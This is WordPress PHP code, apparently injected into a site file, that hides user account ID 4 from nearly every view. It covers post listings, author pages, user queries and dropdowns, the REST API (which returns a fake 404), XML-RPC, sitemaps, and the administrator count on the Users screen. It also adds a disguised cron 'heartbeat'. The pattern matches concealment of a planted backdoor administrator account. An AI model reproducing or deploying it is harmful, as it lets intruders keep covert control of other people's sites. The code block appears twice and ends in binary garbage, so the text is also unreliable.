add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
rH(z 㡐$xCy, B1~݉ر#v?yVfJHW}]FR+W\6O.J\hKi*+uM>F+)n>5ZHGt +"'ERbd3
pQU[S\W1-C5#>^GReS-N,EUQnNuIhq1,>Iv{8pʓj
.aܪy(-xPǮaLgC*<&!NU'lIROS0w-&][πϣj 6ȖK\WT{DC
Z@>HF'h2ز4#ʅ@9M8SъI
]D\`MC""/X6*d~!{==ZaúazR=TaF0zfTv&g hCfŪ略]oZѴU sՓoГK2U`
C ɵPPt_6g497aV!Jw%gL=]63(^xWԖk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